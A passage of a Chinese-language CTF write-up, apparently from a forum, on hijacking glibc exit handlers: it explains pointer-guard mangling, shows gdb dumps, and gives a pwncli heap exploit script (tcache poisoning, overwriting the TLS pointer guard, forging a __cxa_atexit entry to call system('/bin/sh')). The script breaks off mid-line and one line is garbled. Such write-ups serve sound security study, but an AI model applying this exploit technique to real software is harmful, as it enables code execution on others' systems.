        if (*listp != NULL) free(cur);
    }
    这里的listp追溯过去,发现是全局变量initial:
    struct exit_function_list *__exit_funcs = &initial;
    这里涉及到的的的结构体:
    struct exit_function_list {
        struct exit_function_list *next;  // 链表指针
        size_t idx;                       // 当前使用的索引
        struct exit_function fns[32];     // 函数数组(每个块32个函数)
    };
    struct exit_function {
        long int flavor;        // 函数类型标识
        union {
            void (*at) (void);  // atexit函数指针
            struct {
                void (*fn) (int status, void *arg);  // on_exit函数指针
                void *arg;      // 用户参数
            } on;
            struct {
                void (*fn) (void *arg, int status);  // __cxa_atexit函数指针
                void *arg;      // 用户参数
                void *dso_handle;  // DSO句柄
            } cxa;
        } func;
    };
    这里的switch是个枚举类型:
  • ef_on (2): on_exit注册的函数
  • ef_at (3): atexit注册的函数
  • ef_cxa (4): __cxa_atexit注册的函数(C++析构函数)

    这里主要关注ef_cxa的情况:
            case ef_cxa:   // __cxa_atexit注册的函数(C++析构函数)
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
             we must mark this function as ef_free.  */
              /* 为了避免dlclose/exit竞争条件导致cxafct被调用两次(BZ 22180),
             我们必须将此函数标记为ef_free */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
              arg = f->func.cxa.arg;
              PTR_DEMANGLE (cxafct);  // 解密函数指针
              /* Unlock the list while we call a foreign function.  */
              /* 在调用外部函数时解锁列表 */
              __libc_lock_unlock (__exit_funcs_lock);
              cxafct (arg, status);  // 【PWN关键点】调用C++析构函数
              __libc_lock_lock (__exit_funcs_lock);
              break;
    这里从结构体exit_function对应cxa的部分中,获取函数地址,参数地址,解密函数指针,然后调用函数
    解密过程:
    #define PTR_MANGLE(var) \
      (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard_local)
    #define PTR_DEMANGLE(var) PTR_MANGLE (var)
    此处会调用pointer_guard进行异或操作,实际上这里还有个右移0x11位的操作在,在gdb中可以明显看到:
       0x7f4524b32f60     mov    rcx, qword ptr [rax + 0x18]     RCX, [initial+24] => 0xfe8a496834800000
       0x7f4524b32f64     mov    r8, qword ptr [rax + 0x20]      R8, [initial+32] => 0x7f4524c87ea4 ◂— 0x68732f6e69622f /* '/bin/sh' */
    ► 0x7f4524b32f68     mov    qword ptr [rax + 0x10], 0       [initial+16]     mov    rax, rcx                        RAX => 0xfe8a496834800000
       0x7f4524b32f73     mov    ecx, r12d                       ECX => 0
       0x7f4524b32f76     ror    rax, 0x11
       0x7f4524b32f7a     xor    rax, qword ptr fs:[0x30]        RAX => 0x7f4524b41a40 (system) (0x7f4524b41a40 ^ 0x0
    这里截图是完成调试最终的结果,取出initial+0x18作为函数地址,循环右移0x11位,然后和fs:[0x30]进行异或,得到函数地址
    参数则是直接获取
    initial此处需要构造的结构体就是:
    struct exit_function_list {
        struct exit_function_list *next;  // 设置为0
        size_t idx;                       // 设置为1
        struct exit_function fns[32];     // 填充一个结构体,按照cxa去填充
    };
    struct exit_function {      // cxa的结构体
        long int flavor;        // 4
        void (*fn) (void *arg, int status);  // 函数指针
        void *arg;              // 参数指针
        void *dso_handle;       // 随便设置
    };
    其中,这里的函数指针需要是和pg进行异或,并且循环左移0x11位的结果
    要完成这一切就能劫持控制流,就需要能够直到pg的值,或者设置pg的值
    劫持控制流 drop shell
    基于之前的Tcache Reverse Into Fastbin和Fastbin Dup组合利用的方式,再来一次,将pg的值覆盖为0,这样0异或任何值都不会发生变化
    fs寄存器指向的地址位于举例libc.address-0x2880处,其0x30偏移处就是pg的值:
    pwndbg> tele 0x7f4524af2780
    00:0000│ fs_base 0x7f4524af2780 ◂— 0x7f4524af2780
    01:0008│         0x7f4524af2788 —▸ 0x7f4524af3120 ◂— 1
    02:0010│         0x7f4524af2790 —▸ 0x7f4524af2780 ◂— 0x7f4524af2780
    03:0018│         0x7f4524af2798 ◂— 0
    04:0020│         0x7f4524af27a0 ◂— 0
    05:0028│         0x7f4524af27a8 ◂— 0xa9379609e4922e00
    06:0030│         0x7f4524af27b0 ◂— 0
    07:0038│         0x7f4524af27b8 ◂— 0
    对该地址任意地址分配,写入,会导致该size的tcachebin损坏无法再用
    pwndbg> bins
    tcachebins
    0x60 [  0]: 0x33ea2de158f42a18
    0x110 [  1]: 0x55a07ae54680 ◂— 0
    0x160 [  1]: 0x55a07ae54520 ◂— 0
    就需要切换下一个size去做后续的事情,然后就只需要设置号initial的值即可:
    pwndbg> tele &initial
    00:0000│ rax r15 0x7f4524cca1e0 (initial) ◂— 0
    01:0008│         0x7f4524cca1e8 (initial+8) ◂— 0
    02:0010│         0x7f4524cca1f0 (initial+16) ◂— 4
    03:0018│         0x7f4524cca1f8 (initial+24) ◂— 0xfe8a496834800000
    04:0020│         0x7f4524cca200 (initial+32) —▸ 0x7f4524c87ea4 ◂— 0x68732f6e69622f /* '/bin/sh' */
    05:0028│         0x7f4524cca208 (initial+40) ◂— 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    最终会执行到:
    ► 0x7f4524b32f94     call   rax                        
            command: 0x7f4524c87ea4 ◂— 0x68732f6e69622f /* '/bin/sh' */
    从而拿到shell,具体操作脚本见下面完整exp
    完整exp
    #!/usr/bin/env python3
    from pwncli import *
    cli_script()
    set_remote_libc('libc.so.6')
    io: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF =gift.libc
    def pack_data():
        return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
    data = flat({
        # header check
        0:bytes([0x53, 0x80, 0xF6, 0x34]),
        0x58:b"PICT",
        0x5c:p16(0x5500),   # width big endian
        0x5e:p16(0x100),   # height big endian
        0x68:bytes([0,8,0,0xf0]), # header info
        0x6c:pack_data()*0x40
    },filler=b"\x00")
    sz = len(data)
    ru(b"Enter image size in bytes: ")
    sl(str(sz).encode())
    sl(data)
    ru(b"yo face = ")
    num = rl()[:-1]
    success(f"num = {num} / 4919")
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(idx, data):
        cmd('1')
        sla(b"order: ", str(idx).encode())
        sla(b"describe ", data)
        #......
    def dele(idx):
        cmd('2')
        sla(b"throw? D: ", str(idx).encode())
        #......
    def show(idx):
        cmd('31')
        sla(b"food where: ", str(idx).encode())
        #......
    add(0,b"A"*0x58)
    dele(0)
    show(0)
    ru(b"burgir[0]: ")
    heap_leak = r(8)
    heap_leak = u64(heap_leak)
    success(f"heap_leak = {hex(heap_leak)}")
    heap_base = (heap_leak >12))*11)
    add(7,pack((heap_base+0x13a0)^((heap_base+0x16a0)>>12))+b"C"*0x50)
    add(8,b"D"*0x58)
    add(7,b"E"*0x58)
    add(10,b"a"*0x58)
    dele(9)
    add(9,b"G"*0x40+pack(0)+pack(0x21)+b"A"*8)
    dele(0)
    add(0,pack(0)+pack(0x421)+b"q"*0x48)
    add(9,pack(0)+pack(0x51) + pack(0) + pack(0x41) + pack(0)+ pack(0x31) + pack(0) + pack(0x21) + pack(0) + pack(0x11) + pack(0))
    dele(10)
    show(10)
    ru(b"burgir[10]: ")
    libc_leak = r(8)
    libc_leak = u64(libc_leak)
    success(f"libc_leak = {hex(libc_leak)}")
    libc.address = libc_leak -  0x1d3d00
    success(f"libc.address = {hex(libc.address)}")  
    add(10,pack(0)*9 + pack(0x61) + pack(0))
    for i in range(1,8,1):
        dele(i)
    dele(8)
    dele(9)
    dele(8)
    for i in range(7,0,-1):
        add(i,b"B"*0x58)
    tls = libc.address - 0x2880
    pg = 0
    add(8,pack((tls+0x30)^((heap_base+0x1700)>>12))+b"C"*0x50)
    add(9,b"x"*0x30+pack(0x3f0)+pack(0x20)+pack(0)*3)
    add(8,b"x"*0x58)
    add(0,pack(0)+b"\x00"*0x50)
    dele(1)
    add(1,pack(0)+pack(0x3f1)+pack(libc_leak)*2+pack(0)*7)
    for i in range(0,9):
        add(i,b"A"*0x48)
    for i in range(6,-1,-1):
        dele(i)
    dele(7)
    dele(8)
    dele(7)
    for i in range(6,-1,-1):
        add(i,b"D"*0x48)
    add(7,pack((libc.sym.initial)^((heap_base+0x1620)>>12))+pack(0)*8)
    add(8,b"x"*0x48)
    add(7,b"x"*0x48)
    system = libc.sym.system
    binsh = next(libc.search(b"/bin/sh\x00")    )
    success(f"binsh = {hex(binsh)}")
    add(9,pack(0)+pack(1)+pack(4)+pack(system
    参考资料
  • glibc-2.41 源码

    函数, 字节

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部